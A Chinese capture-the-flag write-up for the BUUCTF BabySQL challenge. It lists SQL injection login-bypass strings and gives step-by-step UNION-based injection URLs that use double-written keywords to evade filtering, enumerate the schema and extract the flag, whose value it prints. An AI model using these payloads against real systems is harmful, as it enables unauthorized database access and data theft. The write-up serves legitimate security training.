其实这题找出来万能钥匙成功登录后就没有想法了,看了一下别人的思路再做就ok了
参考:BUUCTF[极客大挑战 2019]BabySQL-CSDN博客
进入后发现是个登陆界面
测试万能钥匙
1‘or'1'='1'#
1:"or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or'a'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
11:1 or '1'='1'=1
12:1 or '1'='1' or 1=1
13: 'OR 1=1%00
试一遍之后会发现or可能被过滤掉了,因为只有当or的形式变成非连接符的时候才可以通过
进入后获得账号密码,用此账号密码进行登录,并在进行的同时进行注入操作
测试列数(密码需要自行修改)
/check.php?username=admin&password=4bb9d13cbe5356ebd76355da22582e42' oorrder bbyy 4%23 不存在
/check.php?username=admin&password=4bb9d13cbe5356ebd76355da22582e42' oorrder bbyy 3%23 存在
发现共有三列,开始测回显点
(需要双写绕过,正常写会有提示错误)
/check.php?username=admin&password=1'ununionion seselectlect 1,2,3%23
爆库
/check.php?username=admin&password=1'ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata %23
感觉在ctf中,再爆一下表
/check.php?username=admin&password=1'ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables %23
查看表Flag下的字段
/check.php?username=admin&password=1'ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag' %23
发现下面有个flag字段,选择爆数据
/check.php?username=admin&password=1'ununionion seselectlect 1,2,group_concat(flag) frfromom Flag %23
发现出现错误,Flag并不在当前库,那就需要查看Flag在那个库中
/check.php?username=admin&password=1 'ununionion seselectlect 1,2,select table_schema frfromom infoorrmation_schema.tables whwhereere table_name='Flag'%23
查出来后发现是在ctf中,那就好办了
开始爆Flag中的flag内容
/check.php?username=admin&password=1'ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag %23
出现flag
flag{9a4509a3-34ae-48f9-9eae-0ed006f45c79}